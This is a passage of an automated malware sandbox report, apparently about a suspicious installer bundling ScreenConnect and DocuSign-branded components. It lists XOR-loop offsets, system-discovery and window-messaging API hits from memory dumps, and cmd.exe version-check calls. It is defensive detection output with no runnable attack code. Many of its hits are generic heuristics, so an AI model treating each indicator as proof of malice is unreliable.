offset 1096443; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 1106210; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 1172150; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 1431958; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 1464269; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 1523326; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 1539007; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 1634811; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 1654142; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 1692670; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 1698011; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 1861226; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 1981423; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 2064507; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 2095164; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 2239248; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 2280403; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 2291886; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 2350109; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 2381185; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 2452030; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 2585771; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 2659164; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 2663092; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 2692143; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 2744679; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 2851133; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 2919694; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 3039823; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 3084267; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 3125846; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 3242816; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 3282268; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 3351123; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 3385745; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 3449144; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 3449193; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 3458776; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 3505984; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 3591497; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 3627393; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 3675451; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 3684672; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 3846758; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 3848043; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 3914546; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 3926739; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 3955360; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 4116110; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 4626798; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 4693747; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 4997992; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 5136734; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 5152721; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 186540; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 521063; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 529815; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 552370; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 627446; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 644482; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 698303; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 702035; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 731606; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 857319; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 857909; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 862225; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 933772; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 960521; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 1019732; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 1072675; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 1073460; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 1082848; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 1133723; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 1185590; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 1212444; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 1254384; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 1384818; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 1400188; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 1437406; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 1444948; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 1459936; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 1557481; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 1564087; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 1568172; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 1662792; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 1695280; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 1780188; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 1970519; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 2013717; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 2049287; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 2060844; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 2084046; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 2145634; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 2421680; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 2470352; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 2598041; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 2603095; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 2649477; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 2649551; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 2763050; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 2897237; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 2915573; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 2916939; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 2941600; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 3156558; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 3302982; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 3504408; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 3559330; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 3626412; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 3722940; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 3753415; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 3755522; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 4046797; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 4094121; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 4133504; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 4206414; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 4225912; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 4311919; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 4413416; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 4529233; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 4582185; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 4728557; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 4812226; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 4812614; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 4986247; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 5042480; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 5095872; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 5157989; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 5170656; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 5181092; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 5182661; code bytes = 33c1 Found XOR loop in file "SecondInstaller.exe" at offset 3517718; code bytes = 30040e Found XOR loop in file "SecondInstaller.exe" at offset 531290; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 535616; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 851146; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 921696; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 1169483; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 1249249; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 1260614; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 1277902; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 1301004; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 1393677; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 1469546; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 1512788; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 1634810; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 1686224; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 1708506; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 1805893; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 1832590; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 1920157; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 1923913; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 1971909; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 2118980; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 2148423; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 2152660; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 2159555; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 2164318; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 2176833; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 2239973; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 2327419; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 2344045; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 2412309; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 2477825; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 2525102; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 2587542; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 2662967; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 2667827; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 2669515; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 2717641; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 2740243; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 2752797; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 2846282; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 2914745; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 2950650; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 3136707; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 3202710; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 3244125; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 3284446; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 3284711; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 3372112; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 3395942; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 3437881; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 3579487; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 3790160; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 3824338; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 3880766; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 4016168; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 4146116; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 4224834; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 4409322; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 4468916; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 4478867; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 4531058; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 4641387; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 4681939; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 4693646; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 4728592; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 4762612; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 4818731; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 4859027; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 4906208; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 4934654; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 5043383; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 5183662; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 5228055; code bytes = 8030 Found XOR loop in file "SecondInstaller.exe" at offset 5231004; code bytes = 8030 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 51969; code bytes = 30d0 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 788350; code bytes = 30d0 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 807416; code bytes = 30d0 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 812588; code bytes = 30d0 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 1545596; code bytes = 30d0 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 1725775; code bytes = 30d0 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 403576; code bytes = 33c1 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 465733; code bytes = 33c1 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 478581; code bytes = 33c1 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 504048; code bytes = 33c1 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 663646; code bytes = 33c1 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 663651; code bytes = 33c1 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 786889; code bytes = 33c1 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 794498; code bytes = 33c1 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 794627; code bytes = 33c1 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 846261; code bytes = 33c1 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 858997; code bytes = 33c1 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 884520; code bytes = 33c1 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 987345; code bytes = 33c1 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 1041092; code bytes = 33c1 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 1041832; code bytes = 33c1 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 1042211; code bytes = 33c1 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 1042652; code bytes = 33c1 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 1043037; code bytes = 33c1 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 1107281; code bytes = 33c1 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 1116368; code bytes = 33c1 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 1116416; code bytes = 33c1 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 1116472; code bytes = 33c1 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 1336432; code bytes = 33c1 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 1451611; code bytes = 33c1 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 1640308; code bytes = 33c1 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 48997; code bytes = 8030 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 466360; code bytes = 8030 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 479208; code bytes = 8030 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 492475; code bytes = 8030 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 498971; code bytes = 8030 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 499107; code bytes = 8030 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 516578; code bytes = 8030 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 534139; code bytes = 8030 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 665978; code bytes = 8030 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 717797; code bytes = 8030 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 846888; code bytes = 8030 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 859624; code bytes = 8030 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 872947; code bytes = 8030 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 879443; code bytes = 8030 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 879579; code bytes = 8030 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 897050; code bytes = 8030 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 904940; code bytes = 8030 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 917290; code bytes = 8030 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 946038; code bytes = 8030 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 1020210; code bytes = 8030 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 1099794; code bytes = 8030 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 1134901; code bytes = 8030 Found XOR loop in file "ScreenConnect.Windows.dll" at offset 1725756; code bytes = 8030 Found XOR loop in file "ScreenConnect.Core.dll" at offset 90139; code bytes = 30d0 Found XOR loop in file "ScreenConnect.Core.dll" at offset 93233; code bytes = 30d0 Found XOR loop in file "ScreenConnect.Core.dll" at offset 386691; code bytes = 30d0 Found XOR loop in file "ScreenConnect.Core.dll" at offset 64108; code bytes = 8030 Found XOR loop in file "mbapreq.dll" at offset 174371; code bytes = 30d0 Found XOR loop in file "mbapreq.dll" at offset 175547; code bytes = 30d0 Found XOR loop in file "mbapreq.dll" at offset 57850; code bytes = 33c1 Found XOR loop in file "mbapreq.dll" at offset 174368; code bytes = 8030 Found XOR loop in file "mbapreq.dll" at offset 178532; code bytes = 8030 Found XOR loop in file "mbapreq.dll" at offset 183781; code bytes = 8030 Found XOR loop in file "mbapreq.dll" at offset 185835; code bytes = 8030 Found XOR loop in file "DocuSign.BootstrapperApplication.dll" at offset 84297; code bytes = 30d0 Found XOR loop in file "DocuSign.BootstrapperApplication.dll" at offset 139368; code bytes = 33c1 Found XOR loop in file "DocuSign.BootstrapperApplication.dll" at offset 14459; code bytes = 8030 Found XOR loop in file "Microsoft.Deployment.WindowsInstaller.dll" at offset 53405; code bytes = 8030 Found XOR loop in file "Microsoft.Deployment.WindowsInstaller.dll" at offset 179173; code bytes = 8030 Found XOR loop in file "Microsoft.Deployment.WindowsInstaller.dll" at offset 181227; code bytes = 8030 Found XOR loop in file "Microsoft.Deployment.WindowsInstaller.dll" at offset 48094; code bytes = 8030 Found XOR loop in file "Microsoft.Deployment.WindowsInstaller.dll" at offset 50855; code bytes = 8030 Found XOR loop in file "Microsoft.Deployment.WindowsInstaller.dll" at offset 51407; code bytes = 8030 Found XOR loop in file "Microsoft.Deployment.WindowsInstaller.dll" at offset 51635; code bytes = 8030 Found XOR loop in file "Microsoft.Deployment.WindowsInstaller.dll" at offset 52919; code bytes = 8030 Found XOR loop in file "Microsoft.Deployment.WindowsInstaller.dll" at offset 53351; code bytes = 8030 Found XOR loop in file "Microsoft.Deployment.WindowsInstaller.dll" at offset 53441; code bytes = 8030 Found XOR loop in file "DocuSign.BootstrapperApplication.resources.dll" at offset 26015; code bytes = 30d0 Found XOR loop in file "DocuSign.BootstrapperApplication.resources.dll" at offset 81086; code bytes = 33c1 Found XOR loop in file "DocuSign.BootstrapperApplication.resources.dll" at offset 18068; code bytes = 30d0 Found XOR loop in file "DocuSign.BootstrapperApplication.resources.dll" at offset 22167; code bytes = 30d0 Found XOR loop in file "DocuSign.BootstrapperApplication.resources.dll" at offset 25987; code bytes = 30d0 Found XOR loop in file "DocuSign.BootstrapperApplication.resources.dll" at offset 81058; code bytes = 33c1 Found XOR loop in file "DocuSign.BootstrapperApplication.resources.dll" at offset 153608; code bytes = 8030 Found XOR loop in file "DocuSign.BootstrapperApplication.resources.dll" at offset 25461; code bytes = 30d0 Found XOR loop in file "DocuSign.BootstrapperApplication.resources.dll" at offset 80532; code bytes = 33c1 Found XOR loop in file "DocuSign.BootstrapperApplication.resources.dll" at offset 25472; code bytes = 30d0 Found XOR loop in file "DocuSign.BootstrapperApplication.resources.dll" at offset 80543; code bytes = 33c1 Found XOR loop in file "DocuSign.BootstrapperApplication.resources.dll" at offset 25414; code bytes = 30d0 Found XOR loop in file "DocuSign.BootstrapperApplication.resources.dll" at offset 80485; code bytes = 33c1 Found XOR loop in file "DocuSign.BootstrapperApplication.resources.dll" at offset 25203; code bytes = 30d0 Found XOR loop in file "DocuSign.BootstrapperApplication.resources.dll" at offset 80274; code bytes = 33c1 Found XOR loop in file "DocuSign.BootstrapperApplication.resources.dll" at offset 25390; code bytes = 30d0 Found XOR loop in file "DocuSign.BootstrapperApplication.resources.dll" at offset 80461; code bytes = 33c1 Found XOR loop in file "DocuSign.BootstrapperApplication.resources.dll" at offset 25016; code bytes = 30d0 Found XOR loop in file "DocuSign.BootstrapperApplication.resources.dll" at offset 80087; code bytes = 33c1 Found XOR loop in file "DocuSign.BootstrapperApplication.resources.dll" at offset 14247; code bytes = 30d0 Found XOR loop in file "DocuSign.BootstrapperApplication.resources.dll" at offset 69318; code bytes = 33c1 Found XOR loop in file "DocuSign.BootstrapperApplication.resources.dll" at offset 14302; code bytes = 30d0 Found XOR loop in file "DocuSign.BootstrapperApplication.resources.dll" at offset 69373; code bytes = 33c1 Found XOR loop in file "DocuSign.BootstrapperApplication.resources.dll" at offset 13856; code bytes = 30d0 Found XOR loop in file "DocuSign.BootstrapperApplication.resources.dll" at offset 68927; code bytes = 33c1 Found XOR loop in file "DocuSign.BootstrapperApplication.resources.dll" at offset 25103; code bytes = 30d0 Found XOR loop in file "DocuSign.BootstrapperApplication.resources.dll" at offset 80174; code bytes = 33c1 Found XOR loop in file "mbahost.dll" at offset 13110; code bytes = 33c1 Found XOR loop in file "mbahost.dll" at offset 117221; code bytes = 8030 Found XOR loop in file "mbahost.dll" at offset 119275; code bytes = 8030 Found XOR loop in file "BootstrapperCore.dll" at offset 84965; code bytes = 8030 Found XOR loop in file "BootstrapperCore.dll" at offset 87019; code bytes = 8030 Found XOR loop in file "Microsoft.Deployment.Compression.dll" at offset 11797; code bytes = 8030 Found XOR loop in file "MSIE844.tmp" at offset 233435; code bytes = 30d0 Found XOR loop in file "MSIE844.tmp" at offset 20116; code bytes = 33c1 Found XOR loop in file "MSIE844.tmp" at offset 88439; code bytes = 8030 Found XOR loop in file "MSIE844.tmp" at offset 188167; code bytes = 8030 Found XOR loop in file "MSIFE10.tmp" at offset 206599; code bytes = 30d0 Found XOR loop in file "MSIFE10.tmp" at offset 207431; code bytes = 30d0 Found XOR loop in file "MSIFE10.tmp" at offset 65303; code bytes = 33c1 Found XOR loop in file "MSIFE10.tmp" at offset 202056; code bytes = 8030 Found XOR loop in file "MSIFE10.tmp" at offset 204378; code bytes = 8030 Found XOR loop in file "MSIFE10.tmp" at offset 207412; code bytes = 8030 Found XOR loop in file "MSIFE10.tmp" at offset 211429; code bytes = 8030 Found XOR loop in file "MSIFE10.tmp" at offset 213483; code bytes = 8030 Found XOR loop in file "MSI5691.tmp" at offset 106267; code bytes = 30d0 Found XOR loop in file "MSI5691.tmp" at offset 10894; code bytes = 33c1 Found XOR loop in file "MSI5691.tmp" at offset 108148; code bytes = 33c1 Found XOR loop in file "MSI5691.tmp" at offset 106228; code bytes = 8030 Found XOR loop in file "MSI5691.tmp" at offset 111077; code bytes = 8030 Found XOR loop in file "MSI5691.tmp" at offset 113131; code bytes = 803042:T414,Found system information discovery API: "RtlNtStatusToDosErrorNoTeb" in file "00000000-00005036.00000000.215916.00561000.00000020.mdmp" Found system information discovery API: "ExpandEnvironmentStringsW" in "00000000-00002772.00000000.215210.140BB000.00000002.mdmp" Found system information discovery API: "RtlNtStatusToDosErrorNoTeb" in "00000000-00005036.00000000.215916.00561000.00000020.mdmp" Found system information discovery API: "NtQuerySystemInformation" in "00000000-00005036.00000000.215916.0056B000.00000002.mdmp" Found system information discovery API: "RtlNtStatusToDosError" in "00000000-00005036.00000000.215916.0056B000.00000002.mdmp" Found system information discovery API: "RtlNtStatusToDosErrorNoTeb" in "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp" Found system information discovery API: "NtQuerySystemInformation" in "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp" Found system information discovery API: "RtlNtStatusToDosError" in "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp"43:T63b,file/memory contains long string with (Indicator: "sendmessage"; File: "mbapreq.dll") file/memory contains long string with (Indicator: "sendmessage"; File: "MSI5691.tmp") Found reference to API "EnumWindows" (Indicator: "enumwindows"; Source: "00000000-00006420-00000C2C-1835922959") Found reference to API "EnumWindowsW" (Indicator: "enumwindows"; Source: "00000000-00006420-00000C2C-1835923040") Found reference to API "SendMessage" (Indicator: "sendmessage"; Source: "00000000-00007008-00000C2C-1880636584") Found reference to API "SendMessageW" (Indicator: "sendmessage"; Source: "00000000-00007008-00000C2C-1880636636") Found reference to API "PostMessage" (Indicator: "postmessage"; Source: "00000000-00007008-00000C2C-1891567542") Found reference to API "PostMessageW" (Indicator: "postmessage"; Source: "00000000-00007008-00000C2C-1891567588") Found reference to API "ystem.ServiceModel.Activities.Configuration.SendMessageChannelCacheElement, System.ServiceModel.Activities, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" (Indicator: "sendmessage"; Source: "00000000-00002772.00000000.215210.E08D0000.00000004.mdmp") Found reference to API "sendMessageChannelCache" (Indicator: "sendmessage"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found reference to API "System.ServiceModel.Activities.Configuration.SendMessageChannelCacheElement, System.ServiceModel.Activities, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" (Indicator: "sendmessage"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp")44:T1b27,"cmd.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004720) "cmd.exe" called "RtlGetVersion" with parameter 